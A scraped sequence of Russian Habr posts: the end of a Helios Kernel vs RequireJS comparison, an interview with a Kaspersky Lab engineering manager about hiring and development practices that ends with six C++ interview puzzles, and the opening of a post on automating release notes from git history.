```
include('deps/dep1.js');
include('deps/dep2.js');
include('deps/dep3.js');
```
|
Для общего модуля, написанного в формате Helios Kernel даже не нужно описывать функцию init(). Это также упрощает читаемость — если заглянуть в код этого модуля — сразу видно, что он не совершает никаких действий, а только подключает дополнительные модули.
А вот в случае с общим модулем с RequireJS придётся ещё и переписать все случаи его экспорта. Если раньше к отдельным экспортированным частям нужно было обращаться как dep1, dep2,..., то теперь это нужно заменить на depCommon.dep1, depCommon.dep2,…
##### Простота использования обычных javascript-библиотек
Речь идёт о библиотеках, которые предполагается подключать на html-страницу с помощью тега script.
Формат модуля Helios Kernel гораздо ближе к обычным библиотекам, потому что внутри функции init() может содержаться любой код. Поэтому для того, чтобы превратить обычную библиотеку в модуль, достаточно обернуть её в определение функции init(), и после этого её можно будет подключить с помощью include().
В случае с RequireJS конвертировать библиотеку в модуль гораздо сложнее, потому что модуль должен экспортировать определяемые объекты, и пришлось бы делать рефакторинг. Вместо этого предлагается описать модуль в конфиге с помощью аттрибута [shim](http://requirejs.org/docs/api.html#config-shim). Однако даже такой подход [может привести к проблемам](http://esa-matti.suuronen.org/blog/2013/03/22/journey-from-requirejs-to-browserify/#disappearing-globals).
##### Простота портирования между вебом и nodejs
Для того чтобы использовать модули RequireJS на сервере в среде nodejs, можно воспользоваться библиотекой [r.js](http://requirejs.org/docs/node.html), которая позволяет такие модули подключать в nodejs.
В обратную сторону: проект, написанный в формате модулей CommonJS, используемом в node, можно отконвертировать в веб-библиотеку с помощью [browserify](http://browserify.org/). Но это получится не модуль, а большой бандл, подключаемый тегом script (или конфигом shim в RequireJS).
Helios Kernel упрощает эту задачу за счёт того, что модули работают без изменений и конвертации на обоих платформах.
Сайт: <http://asvd.github.io/helios-kernel/>
Код: <https://github.com/asvd/helios-kernel/releases/download/v0.9.5/helios-kernel-0.9.5.tar.gz>
Гитхаб: <https://github.com/asvd/helios-kernel> | https://habr.com/ru/post/199162/ | null | ru | null |
# "Лаборатория Касперского": как попасть и чем заняться? Взгляд изнутри
Может показаться, что в крупную ИБ-компанию очень сложно попасть: нужно пройти семь кругов ада, найти подвох в любой задаче, знать биографию всех руководителей и всю подноготную самой компании. Так ли это? Глава управления базовых технологий «Лаборатории Касперского» Игорь Маслов сам когда-то проходил этот путь: семь лет назад он пришел на очное собеседование, а сейчас руководит одним из ключевых отделов и решает нетривиальные задачи. Мы поговорили с ним — о том, кого и за что берут в «Лабораторию Касперского», спокойно ли живется разработчикам, какие скиллы способствуют карьерному росту и как в ближайшее время изменится процесс разработки. Для стойких и уверенных в себе бонус: тестовое задание — пропуск на финальное собеседование в компанию.
---
**— Какую роль в разработке защитных решений в «Лаборатории Касперского» ты играешь?**
— Я руковожу управлением базовых технологий численностью в 150 человек. Это отдел, который занимается созданием «кирпичиков» для антивирусов. «Кирпичики» используются во всех наших продуктах: десктопных, корпоративных, серверных. Это в основном С++ код, осуществляющий бизнес-логику. Он отвечает за обновление баз, отправку различной статистики в наши облака, перехват системных событий, агрегацию событий, которые перехватили, от наших драйверов и передачу их в движки, за реакцию на эти события: блокировку, подмену трафика (когда хотим показать страничку и сказать, что данные конкретной странички — фишинг).
**— А как ты оказался в «Лаборатории Касперского»?**
— В «Лабораторию Касперского» я пришел около 7 лет назад. Меня позвали просто как С++ разработчика, без особой конкретики. Вообще по вакансиям, особенно для программистов, зачастую сложно понять, чем в итоге придется заниматься. В неприметном месте можно найти интересный стартап или, наоборот, кажется, что компания хорошая — а по факту приходится писать банальные скрипты.
Так вот, я пришел, прошел несколько технических собеседований. Вообще первое должно было быть в Anti-Malware Research — это исследовательское подразделение, которое занимается антивирусной защитой, разрабатывает технологии. Но я не фанат research-подразделений — мне нравится создавать продукты, быть ближе к разработке, чтобы пользователи могли быстрее увидеть фичи. Да и сами фичи более явные. В research-подразделении улучшение какого-нибудь детекта не так заметно.
**Я спросил прямо у входа: «Это у вас какое подразделение?». Мне говорят: «Anti-Malware Research». Я говорю: «Ресерчем надо заниматься?» «— Ну да». «— Ой, а я не хочу в ресерч-подразделение». Это было первое собеседование.**
В итоге меня позвали в продуктовый департамент, где и сделали оффер.
**— Как проходили собеседования? Какие вопросы задавали?**
— Я помню основной смысл. Проверяли знание языка, в основном С++, понимание exception safety, конструкций языка, классов, виртуализации. Еще мне предложили разработать не очень сложный алгоритм. И, соответственно, WinAPI. Вообще на собеседованиях в «Лаборатории Касперского» спрашивают по той платформе, с которой будет работать человек. Устройство памяти, процессов, потоков.
**— А ты сам проводишь собеседования?**
— Я присутствую на технических собеседованиях в своей продуктовой команде. До недавнего времени я программировал, скиллы вроде не потерял, для собеседования их хватает.
**— У тебя есть свое фирменное задание для новичков?**
— Сейчас мы делаем больший упор на алгоритмы и архитектуру ОС и меньший — на язык программирования. Я люблю спрашивать про память: что такое виртуальная память, как она устроена, как в современных процессорах мапятся физический и виртуальный адреса. И про всякие подводные камни, особенности работы.
**— В твоем отделе есть свои методики подбора сотрудников?**
— Базовый принцип: собеседование проводят потенциальные коллеги кандидата. Обычно это старшие разработчики, тимлиды. Мы считаем, что в процессе разговора можно не только выявить технические скиллы, но и понять, приятно ли общаться с человеком, будет ли комфортно работать с ним. Ведь разработка — это не просто хардкорный кодинг, но и общение. Поэтому и люди нам нужны компанейские.
С интересным кандидатом я могу дополнительно пообщаться лично — по телефону или даже в телеграме. Мы вообще всегда оставляем кандидату контакты, чтобы можно было уточнить непонятные вопросы после собеседования. Вот, например, недавно я взял человека, с которым общался по телефону два или три раза по полчаса. Он остался доволен и пришел к нам, сейчас трудится над платформой.
**— А на что еще обращаете внимание?**
— Главное, чтобы мы нашли общий язык. Еще очень важна самостоятельность — чтобы сотруднику не требовался постоянный саппорт. Этим как раз старший разработчик и отличается от младшего: первый может самостоятельно решать сложные задачи, а второму требуется помощь.
Но, к сожалению, самостоятельность практически нереально проверить на собеседовании. Да, можно понять скилл решения проблем — например, с помощью непростой алгоритмической задачи. Но самостоятельный человек или нет, можно узнать только в процессе работы. И зачастую бывает так, что хорошие технические специалисты, которые много знают, не обладают этим навыком.
Школа. Разработка. Управление
**— Как ты стал программистом?**
— Я с детства увлекался математикой, как и многие другие разработчики. Попал в физматшколу МГУ и уже тогда планировал, что пойду в разработку. После школы поступил на профильный факультет — ВМК МГУ. Там я уже более серьезно занялся программированием и на третьем курсе начал работать. На четвертом — вышел на фултайм. Мне нравится разработка, другого для себя вообще не рассматривал.
**— Сложно было одновременно учиться и работать?**
— Вообще да. Месяцами на четвертом и пятом курсах я работал без выходных, ездил на учебу в рабочие дни. Зато это помогло стать тимлидом команды уже через год после окончания университета. В «Лабораторию Касперского» я пришел на должность senior-разработчика, потом стал тимлидом и менеджером.
**— Зачастую разработчики — интроверты и им сложно перестроиться с индивидуальной работы на управление людьми. Как прошел переход у тебя?**
— Я не интроверт, наоборот, рад общению, и работать менеджером мне довольно легко. Мне нравится быть тимлидом: можно сделать куда больше, задачи — сложнее и амбициознее, это доставляет огромное удовольствие.
**— Если говорить о менеджерских функциях, ты следишь за работой подчиненных? Как разбираешься с потоком задач на отдел? Проверяешь качество выполнения?**
— У меня есть несколько команд, где руководят менеджеры и одна небольшая, где я — непосредственно проджект-менеджер. С менеджерами, которые у меня в подчинении, мы работаем «по целям»: оговариваем критерии, по ним строим план работы и проверяем ее выполнение. У моей же продуктовой команды есть обычный план работы и бэклог с важными задачами и приоритетами. Мы работаем двухнедельными итерациями. Берем задачу, стараемся выполнить. Раз в неделю — планерки. Наша команда самостоятельная, и многие проблемы нам удается решить без привлечения руководства.
**— Часто ли приходится задерживаться допоздна?**
— Бывают ситуации, когда нужно выйти и закрыть проект. Но это происходит редко — когда выходит релиз фронтов с большим количеством изменений и доработок.
**— А раньше, когда только начинал работать в «Лаборатории Касперского», все было так же спокойно?**
— Когда я только начинал, релизы фронтов были более сложным мероприятием, чем сейчас. Мы активно развиваем автоматизацию процессов и тестирования и сейчас все проходит заметно быстрее. Жизнь разработчика упростилась, я бы так сказал.
У меня была ситуация, тогда я еще был на испытательном сроке, когда до релиза очередного фронтенда Kaspersky Internet Security оставалась неделя. Мне дали баг, говорят: «Игорь, поправь». Я баг поправил, закоммитил его в системе контроля версий, прошел ревью и поехал домой. Приехал, понял, что баг не исправлен полностью. У меня большой стресс — гиперответственность и все такое. На следующий день, в субботу, в семь утра помчался в офис и успел все исправить. А так как без ревью нельзя коммитить — написал тимлиду: «Если вы на выходных придете, то, пожалуйста, посмотрите, я исправился».
**— Когда был первый серьезный успех?**
— Как раз в следующий релиз фронта. К тому моменту мы переделали бизнес-логику анализа сетевого траффика: полностью переписали ее. Работа заняла чуть меньше года, и мы очень неплохо справились: избавились от огромного пласта legacy-кода и перевели продукт на новые рельсы. Это был реальный челлендж.
Дело в «плюсах»
**— Расскажи, как проходит рабочий день команды. Что занимается программист, какие задачи он решает?**
— Обычно разработчики начинают день с просмотра писем, вопросов, которые накопились с вечера или раннего утра. Все задачи в продуктовых командах идут через систему тикетов, сотрудник выбирает себе нужные и занимается ими.
Главный инструмент — С++, основной код и движки у нас на нем. Решение задачи состоит из обычных этапов: написания кода, локальное тестирование и отладка, код ревью, автотестирование в системе CI и деливери доработок в продукты.
**— Чем еще пользуетесь?**
— Основные рабочие инструменты кроме С и С++ это: стек .NET для автоматизации внутренних процессов, Python для различных частей нашей CI системы и JS для плагинов браузеров и других вещей, где без него не обойтись.
**— Занимается ли твой отдел мобильной разработкой?**
— Есть ряд приложений, для которых мы поставляем базовые компоненты. Они написаны на С++. Дальше компоненты используются уже в нативном формате, портировать их можно без проблем. Вообще большинство high performance приложений или игр, в AppStore или в Google Play, написаны на С++, — если и не полностью, то большая часть приложения точно. Скорее всего, те же Angry Birds или Cut the Rope. Продукты С++ работают быстрее, чем на Java или Swift — так как это высокоуровневые языки с «дорогими» абстракциями и виртуальной машиной.
**— То есть в основном вам нужны знающие «плюсы»?**
— Да, основная разработка на С++, 99%, и 1% — JS. Есть и инфраструктурные команды на Python и .NET.
**— А если человек хорошо знает, например, Java? Можно ли его переучить или проще взять спеца именно по C++?**
— Я считаю, что хорошего разработчика можно и переучить. По идее человек должен не просто знать язык программирования, а уметь работать с абстракциями — тогда и переучиться будет несложно. У нас была такая ситуация с .NET стеком.
**— Что ждет ваш отдел в ближайшем будущем? Будут ли какие-либо кардинальные изменения?**
— У нас в команде есть разработчики кода и разработчики автотестов. И мне очень хочется объединить эти роли в одну. Одни разработчики пишут много маленьких тестов (Unit-тестов), а другие спецы пишут крупные интеграционные. Возникает определенное недопонимание: периодически одни профессионалы не очень понимают специфику огромных интеграционных тестов, а другие не очень хорошо знают код, который тестируют. Отсюда случаются ситуации, когда ругались то на код, то на тесты.
Мне это не очень нравится: роли хочется сблизить, чтобы сотрудники могли одновременно писать код и работать над тестами любого уровня. Плюс, выделить отдельную роль чисто по инфраструктуре, фреймворкам. Глобально вот такая идея развития.
**— Планируете ли брать новых сотрудников? Если да — то под какие задачи?**
— У нас есть несколько свободных позиций, связанных с разработкой компонентов сетевого анализа. К слову, я там начинал. Не хватает людей и в команде, которая работает над драйверными компонентами системного перехвата. В целом задач много, они сложные, но интересные!
**— Например?**
Новые задачи у нас есть в нескольких блоках:
* Мы постоянно пытаемся совершенствовать наши решения. Например, мы переделываем систему распространения наших драйверов в продуктах. В установках драйверов куча подводных камней: обновления, откаты операционных систем. На это накладываются наши патчи. В результате получается не очень детерменированный стейт, который мы хотим сделать более предсказуемым. По пути решив проблему с выпуском патчей для новых версий ОС.
* Мы делаем очень большой упор на новые продукты. Мы понимаем, что антивирус не вечен, нельзя бесконечно «пилить» его и быть успешными. Тут — решение задач в различных новых для нас направлениях и продуктах, таких как Anti Targeted Attack Platform, развитие новых десктоп-приложений.
* У нас довольно много инфраструктурных задач по сборке и автотестированию большого объема кода. Мы хотим, чтобы каждый коммит в наш код проверялся (собирался и запускал тесты) на всех продуктах за пару десятков минут.
* Ну и всегда актуальная задача — делать код высокопроизводительным. Например, мы очень хотим сделать антибаннер не только большим с точки зрения покрытия, но и еще менее тормозным, как классические расширения.
**— Как часто выходят новые продукты?**
— Мажорные версии продуктов с кучей фич — например, тот же Kaspersky Internet Security, выходят, в среднем, раз в год. Но у нас много патчей, и зачастую работа над ними — чуть ли не как отдельная разработка. Вот, например, смотрите, сейчас Microsoft раз в полгода выпускает апдейт для Windows. По факту он как новая операционка — слишком много изменений в ядре. Для нас каждый такой апдейт равносилен выходу новой ОС с полноценной разработкой продукта под нее. Для меня это как челлендж: раз в полгода выкатить поддержку для новой «винды». Но каждый раз нашей команде это удается!
**— А что нужно, чтобы продукты выпускались быстрее, а вам было проще успевать за апдейтами?**
— В первую очередь, чтобы правильные и нужные вещи делались легко, а не правильные и не хорошие — долго и мучительно (тогда их не будут делать). Например, мы сейчас уходим от компонентной разработки.
Здесь подход такой: отдельно разрабатываются стабильные интерфейсы и реализовываются компоненты с данными интерфейсами, затем связываются и вроде бы все замечательно. До того момента, пока интерфейсы не начнут меняться. Условно говоря, есть первая версия компонента, которую используют все. Затем появляется вторая версия, с доработкой или изменением API. Одни продукты на него переходят, а другие — нет. А потом всем вдруг нужно перейти на новый компонент. В такой ситуации сложно подсчитать ресурсоемкость переезда, плюс нужно будет чистить баги — это очень большой и дорогой интеграционный момент.
Поэтому мы хотим изменить подход и перейти в так называемый монорепозиторий с зелеными тестами. Его суть проста: когда изменяется интерфейс, его нужно сразу проинтегрировать во все продукты. При этом мы поддерживаем тотальную валидацию: каждый коммит должен переводить систему из зеленого состояния тестов в зеленое состояние, иначе коммит уберется.
Другими словами, раньше, до отхода от компонентной разработки, интерфейс можно было исправлять только в рамках одного проекта. Сейчас мы можем вносить изменения одновременно по всем проектам. В итоге продукт быстрее доходит до стадии релиза. И сам процесс становится более предсказуемым.
Однако у системы с монорепозиторием с зелеными тестами есть определенный нюанс — она дорогая в инфраструктурном плане. Наши продукты — это гигабайты кода. Код нужно быстро собирать, валидировать и тестировать — а это не так просто. В принципе на рынке есть готовые продукты, но нельзя купить одну стороннюю систему CI, которая позволит все сделать быстро — под наши задачи одного продукта недостаточно. Поэтому мы разрабатываем свою CI-систему. Ведь быстрая разработка заключается не в том, что ты быстро печатаешь, а в том, что ты можешь быстро править и доставлять изменения клиентам.
**— Получается, вы планируете полностью изменить систему тестирования своих продуктов?**
— Скорее, систему доставки в прод. Мы не будем выстраивать многоступенчатую сборку, а автоматизируем ее.
**— А что еще может дать отход от компонентной разработки?**
— Разработчик, работающий с общим кодом, понимает, где и какой компонент используется, и может внести изменения. Еще момент: в общем коде можно применять best practice соседа, наработки коллег. Хороший reuse, когда используется не копипаст кода, а уже готовые шаблоны. В каждой команде есть свой набор утилит, хелперов, теперь их можно будет использовать сообща. Если разрабатывается фреймворк или контейнер, нельзя просто переименовать какой-то метод. Его нужно править вручную во всех клиентах, это головная боль. Теперь ее не будет.
В принципе это основное, что касается разработчиков. Для менеджеров новая система детерминирует риски использования нового кода, которые будут всегда актуальными.
Как попасть в «Лабораторию Касперского» и чем заняться
**— На собеседовании вы сразу, через тестовые задачи, погружаете человека в то, чем ему придется заниматься?**
— Нет, такого нет, у нас абстрактные задачи, не привязанные к нашей проблемной области. На базовое понимание.
**— А как тогда понять, что человек действительно готов и может работать в нужной вам сфере?**
— У нас обычный испытательный срок в три месяца, за это время мы все понимаем, да и он тоже.
**— У вас есть помощь новичкам? Не бросаете?**
— Case-by-case. «Синьоры» более самостоятельны, им опека не нужна — наоборот, будет мешать. А junior-ам, конечно, помогаем — для каждого назначаем ментора, который сможет объяснить и подсказать по задачам. Но вообще все зависит от человека: мы стараемся создать максимально комфортные условия для каждого. И людям у нас нравится: обычно они остаются у нас на много лет.
К тому же, у нас есть программа адаптации для новичков, которая состоит из нескольких этапов. Каждые две недели здесь проходят трехчасовые вводные встречи для таких сотрудников. Их знакомят с историей компании, продуктовой линейкой и руководством, рассказывают о том, как устроена наша жизнь. Например, как оформить отпуск, уйти на больничный, что делать, если возникла проблема с компьютером, какие есть правила безопасности в офисе и так далее. Важные и полезные вещи.
**— Работать приходится в офисе? Или можно удаленно?**
— У нас гибкий рабочий график, можно поработать из дома, если приболел или что-то случилось, — для этого есть удаленный доступ. Но постоянно работать удаленно нельзя, нужно общаться с клиентами и тимлидом.
**— С продакт-менеджерами, бизнес-отделом есть взаимодействие?**
— Очень и очень плотное. Продакт-менеджеры сидят рядом с разработчиками, в соседнем опенспейсе-кубике (у нас пространство в офисе с помощью оформления поделено на небольшие «кубики», где обычно сидят по 4-6 человек). Для нас важно постоянно взаимодействовать друг с другом, мы очень близко, в одной команде, все общаемся между собой.
**— Какие интересные задачи приходилось решать?**
— За время работы в компании я занимался несколькими направлениями. Но все они так или иначе связаны с перехватом трафика и его анализом. Я уже говорил про переписывание бизнес-логики перехвата в наших дестоп-продуктах. После этого много времени я посвятил улучшению технологии безопасных платежей. Это функциональность по защите онлайн-операций пользователя. Изначально функциональность выглядит просто — при переходе на сайт банка или совершении иных финансовых онлайн операций нужно включить функционал и предотвратить любое вмешательство. Но проблемы случаются, как всегда, во время реализации. Нам оказалось сильно проще и эффективнее запустить новый браузер вместо защиты уже работающего и проконтролировать, чтобы в него никто не попал. С таким решением существует много минусов, но основной — это перенос контекста работы из обычного браузера в нашу защищенную копию. Например, пользователь заходит в личный кабинет провайдера и хочет оплатить интернет. Мы понимаем, что сейчас будут вводить данные в платежной системе и переносим сеанс в защищенную копию, но теряем факт логина в личный кабинет. Еще одна сложная задача — это определение самого факта начала финансовой операции. Просто по адресу это понять нельзя, так как много всяких картинок и остального CSS выкачивается браузерами. Поэтому нужно анализировать контекст.
**— А свобода творчества у сотрудников есть? Могут запилить свой продукт в рамках продуктов «Лаборатории Касперского»?**
— Выделить рабочий день на сторонние проекты, как в Google, не получится — мы живем в рамках бизнеса. Но в рамках компании, работающей в сфере кибербезопасности, можно что-то придумать и получить поддержку. Ведь часто возникает мысль: «О, мы можем защитить вот это». И приходит разработчик с proof-of-concept, предлагает сделать новую защищенную технологию, новый продукт. И мы делаем.
У нас есть защита видео, опять же, safe-браузер начинался как обычный контейнер. Это все шло от концептов разработчика, а бизнес это принял и дал зеленый свет для реализации.
Приложение для мобильных устройств «Who Calls» тоже продвигали как идею одного из менеджеров. Звонки с неизвестных номеров и спам были его личной проблемой, и ее решение он воплотил в продукте. И сейчас активно его развивает, получает от нас фидбэк.
У нас есть защита UEFI: разработчик купил новый компьютер, а там программируемый BIOS. Сотрудник разработал proof-of-concept и предложил написать антивирус, который будет проверять загрузочную область. Идея понравилась, под нее выделили разработчиков. Недавно продукт выпустили, он продолжает развиваться и живет своей жизнью.
**— А соискатель может прийти к вам с какой-то идеей?**
— У нас есть бизнес-инкубатор, к примеру, там делают систему электронного голосования на основе блокчейна. Идеи отправляются в инкубатор с конференций или других внешних коммуникаций. Туда, например, пришла идея с внутреннего хакатона.
О тестовых заданиях
**— Какие вообще могут быть тестовые задания?**
— В основном про язык и про систему. Почему такой код не компилируется, что нужно сделать, чтобы компилировался. Почему он работает неверно? Это все задачи на С++ и знание операционных систем.
Задания не особо изменились после того, как я пришел семь лет назад: мы проверяем знание системы, основных моментов языка, на котором пишет человек: классы, виртуализация, наследование исключение, базовые контейнеры, библиотеки. Совсем замечательно, если знает шаблоны. И даем какие-то несложные задачи на алгоритмы. Написать базовый алгоритм, std::remove, к примеру, или какую-нибудь сортировку. Тут важно понять, как человек пишет код.
**— Можешь дать какие-то советы соискателям? Что нужно делать, прежде чем отсылать резюме?**
— Повторить С++ и быть готовым написать какой-то код на листочке, причем аккуратно. Желательно, чтобы это еще и работало. Это быстро тренируемый скилл, тем более, много платформ для олимпиадного программирования, можно взять и прямо в браузере писать на С++. Без автоподстановок и хелперов.
Но в целом мы больше спрашиваем по теории, та же структура данных: деревья, хэш-таблицы, какие контейнеры когда применять. А вот других интерактивов нет.
**— А как оцениваете?**
— У нас субъективная оценка, каждый интервьюер выставляет персональные баллы. Результат тестового задания — написанный алгоритм, в котором можно посмотреть, указать, где ошибки. И на основе отзывов принимаем решение — брать или не брать.
**— Высылаете результаты тестового задания?**
— Это не требуется — мы в большинстве случаев сразу говорим кандидату результат. Тестовые задания — часть собеседования, нам важно понимать, как человек общается, взаимодействует и думает. Если мы берем senior-а, часто даем менее структурированную задачу: чтобы программист продемонстрировал свои навыки и экспертность. Конечно, он может задавать уточняющие вопросы. Младшим же, если есть проблемы, сразу говорим, что и как, предлагаем почитать литературу.
**— А в течение какого срока можно снова откликаться на вакансии?**
— У нас нет строгой системы, и мы смотрим человека сразу на все вакансии. Если мы не берем его к себе, но у него хорошие скиллы — отправим в подходящую команду. К примеру, если соискатель хорошо знает машинное обучение, которое нужно в исследовательском отделе, переправим резюме туда.
Другой вариант, если уровень кандидата колеблется между сеньором и джуниором. Тогда его могут позвать в отдел, где нужен джуниор.
**— Если комплексно, как проходит собеседование? Везде тестовые задания?**
— Нет, достаточно зареплаиться — а мы уже решаем, звать ли кандидата на очное собеседование. А по результатам очного уже определяем — посылать оффер, отказать или позвать на повторное техническое собеседование. Да, как раз сейчас в свой отдел я ищу [разработчика C++/Python, Dev tools](https://moikrug.ru/vacancies/1000041373?utm_source=Habrahabr&utm_campaign=Megapost_Maslov).
---
Тестовое задание
Команда «Лаборатории Касперского» подготовила несколько задач по C++, решив которые, вы не только получите приглашение на финальное собеседование в «Лабораторию Касперского», но и сможете выиграть ценный приз — «Рюкзак добра». Только победители узнают, что внутри. Присылайте решения через форму обратной связи ниже, а команда экспертов (с Игорем Масловым в составе) выберет самые крутые варианты и пригласит их авторов на финальное собеседование. Бонус - экскурсия по офису и дополнительные призы от компании.
Вопрос 1
Почему программа не собирается? Как можно поправить сборку?
```
#include
#include
#include
#include
class Item
{
public:
virtual ~Item() { }
Item(const char\* data): m\_data(std::make\_unique(data)) { }
virtual const std::string GetContent() const { return m\_data ? \*m\_data : ""; }
private:
std::unique\_ptr m\_data;
};
class ItemEx : public Item
{
public:
ItemEx(const char\* data, const char\* dataEx): Item(data), m\_dataEx(std::make\_unique(dataEx)) { }
virtual const std::string GetContent() const override { return Item::GetContent() + (m\_dataEx ? \*m\_dataEx : ""); }
private:
std::unique\_ptr m\_dataEx;
};
void Func()
{
ItemEx item("123", "456");
std::cout << item.GetContent() << std::endl;
ItemEx newItem = std::move(item);
std::cout << newItem.GetContent() << std::endl;
std::cout << item.GetContent() << std::endl;
}
int main()
{
Func();
}
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Вопрос 2
Какие проблемы есть в программе ниже?
```
#include
#include
#include
#include
template
ContainerType BuildFromString(const std::string& s)
{
ContainerType data;
for (char c: s)
{
data.push\_back(static\_cast(c));
}
return data;
}
void UsingAuto()
{
const std::string s = "1234";
auto v32 = BuildFromString>(s)[0];
auto v16 = BuildFromString>(s)[1];
auto vbb = BuildFromString>(s)[2];
std::cout << v32 << " " << v16 << " " << vbb << std::endl;
}
int main()
{
UsingAuto();
}
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Вопрос 3
Есть ли проблемы в программе?
```
#include
#include
class VerySimpleItem
{
public:
bool IsNull() const
{
if (this == nullptr)
return true;
return false;
}
};
void Func()
{
VerySimpleItem\* item1 = nullptr;
VerySimpleItem item2;
std::cout << "Is 1-st null: " << item1->IsNull() << std::endl;
std::cout << "Is 2-nd null: " << (&item2)->IsNull() << std::endl;
}
int main()
{
Func();
}
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Вопрос 4
Почему программа не собирается? Как можно поправить сборку?
```
////////////////////////////////////////
// class.h
#include
class Impl;
class Class
{
public:
Class();
void DoSomething();
private:
std::unique\_ptr m\_impl;
};
// end of class.h
////////////////////////////////////////
////////////////////////////////////////
// class.cpp
#include "class.h"
#include
#include
class Impl
{
public:
void DoSomething() { std::cout << "Done" << std::endl; }
};
Class::Class()
: m\_impl(std::make\_unique())
{
}
void Class::DoSomething()
{
m\_impl->DoSomething();
}
// end of class.cpp
////////////////////////////////////////
////////////////////////////////////////
// main.cpp
#include "class.h"
int main()
{
Class item;
item.DoSomething();
}
// end of main.cpp
////////////////////////////////////////
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Вопрос 5
Что примерно будет выдано в output и почему? Как можно оптимизировать программу?
```
#include
#include
#include
class Element
{
public:
Element(const uint64\_t v)
{
m\_p = new uint64\_t();
\*m\_p = v;
}
Element(const Element& rhs)
{
m\_p = new uint64\_t();
\*m\_p = \*rhs.m\_p;
std::cout << "copy ctor: " << \*m\_p << std::endl;
}
Element(Element&& rhs)
{
m\_p = rhs.m\_p;
rhs.m\_p = nullptr;
std::cout << "move ctor: " << \*m\_p << std::endl;
}
Element& operator=(const Element& rhs) = delete;
Element& operator=(Element&& rhs) = delete;
~Element()
{
if (m\_p)
delete m\_p;
}
private:
uint64\_t\* m\_p;
};
void Func()
{
std::vector elements;
uint64\_t id = 1;
elements.emplace\_back(id++);
while (elements.capacity() > elements.size())
{
elements.emplace\_back(id++);
}
elements.emplace\_back(id++);
}
int main()
{
Func();
return 0;
}
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Вопрос 6
Как поправить сборку программы?
```
#include
#include
#include
struct SomeClass
{
SomeClass (int a, int b)
{
assert (a == 7);
assert (b == 42);
}
};
template
struct Proxy : Base
{
template
Proxy (std::tuple&& params)
:/\*Необходимо достать данные из tuple и передать параметры по одному в конструктор базы\*/
{
}
};
int main ()
{
Proxy (std::forward\_as\_tuple (7, 42));
return 0 ;
}
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Спасибо! Ваши ответы отправлены
Вопрос 1
Вопрос 2
Вопрос 3
Вопрос 4
Вопрос 5
Вопрос 6
Ваш email
Отправить
#rec51327215 input::-webkit-input-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 input::-moz-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 input:-moz-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 input:-ms-input-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 textarea::-webkit-input-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 textarea::-moz-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 textarea:-moz-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 textarea:-ms-input-placeholder {color:#000000; opacity: 0.5;}
#rec51327215 .t-submit:hover{
background-color: #4986a1 !important;
}
#rec51327215 .t-submit{
-webkit-transition: background-color 0.2s ease-in-out, color 0.2s ease-in-out, border-color 0.2s ease-in-out, box-shadow 0.2s ease-in-out; transition: background-color 0.2s ease-in-out, color 0.2s ease-in-out, border-color 0.2s ease-in-out, box-shadow 0.2s ease-in-out;
} | https://habr.com/ru/post/353768/ | null | ru | null |
# Как мы автоматизировали процесс генерации Release Notes
Всем привет! Меня зовут Семен. Я Java-разработчик и руководитель группы Java-разработки в Центре Big Data компании MTS Digital. В этом посте я хочу поговорить о Release Notes. Что это такое, почему не стоит писать их вручную и какие есть способы автоматизации. Покажу и реальный пример того, как организована работа с Release Notes в нашем проекте.
---
А что это?
----------
**Release Notes** — это документация, которая характеризует последний инкремент продукта. Новые фичи, баг фиксы и так далее. Она представляет ценность как для разработчиков, так и для менеджеров, которые хотят знать, как развивается проект. Если вы хотя бы раз проводили еженедельные демо, то понимаете, как сложно порой вспомнить все мелкие детали, которые были затронуты в текущем спринте. Как же составлять Release Notes? Самый очевидный способ — руками. Его и рассмотрим.
Делаем Release Notes вручную
----------------------------
Самый главный плюс — для этого не требуется никаких специальных знаний, а также изменения существующих CI/CD процессов. Нанимаем технического писателя и поручаем это все ему. Что может быть проще? Однако тут «есть пара моментов».
1. **Технический писатель может быть не погружен глубоко в продукт.** Соответственно, он не сможет самостоятельно определить, что конкретно изменилось в новой версии. Понадобится разработчик, который будет доносить эту информацию. Фактически здесь получается двойная работа. Разработчик объясняет техническому писателю, что добавилось и убавилось. А технический писатель в свою очередь рассказывает всем остальным.
2. **Процесс по документированию новой версии будет очень трудоемким.** Здесь оказывает влияние много факторов. Например, как вы описываете задачи в таск-трекинговых системах (полно и развернуто, или кратко и на скорую руку). Как вы оформляете пул-реквесты. Как в целом архитектурно построена ваша система, насколько сложно в ней ориентироваться.
3. **Велика вероятность допустить ошибку.** Забыть упомянуть об исправлении важного бага, или случайно написать про фичу, которая будет сделана только в следующем спринте. Чем больше изменений в релизе, тем больше вероятность промаха.
Как видим, формировать Release Notes с помощью человеческих усилий не рационально. Значит, нужно автоматизировать процесс, верно? Да, но и тут возникает ряд вопросов.
1. Как определять, что изменилось, а что — нет?
2. Если установить определенные правила контрибьютинга, по которым изменения можно будет отслеживать, как гарантировать их соблюдение?
3. Мы поддерживаем несколько версий одновременно. Как автоматизировать процесс единообразно?
Что есть «изменение»?
---------------------
Инкремент продукта можно мерить маленькими и большими шагами. Маленький — это коммит в репозитории. Большой шаг — это задача в таск-трекере (Jira, Trello, Github/Gitlab Tickets и так далее). Первый я бы назвал technical oriented, тогда как второй — business oriented стратегией. Они не являются взаимоисключающими и их вполне можно использовать совместно, ведь у каждого способа есть свои плюсы и минусы.
#### Technical Oriented Release Notes
Давайте начнем с более простого варианта. Предположим, что мы используем классический git-flow: develop и master ветка. Из develop раскатываются nightly билды, а при каждом мерже в master деплоится новая версия на production. Иначе говоря, осуществляется релиз. Вот на эти релизы нам и нужны Release Notes.
Найти коммиты нового релиза не составляет труда.
```
git rev-list $PREV_HASH..HEAD
```
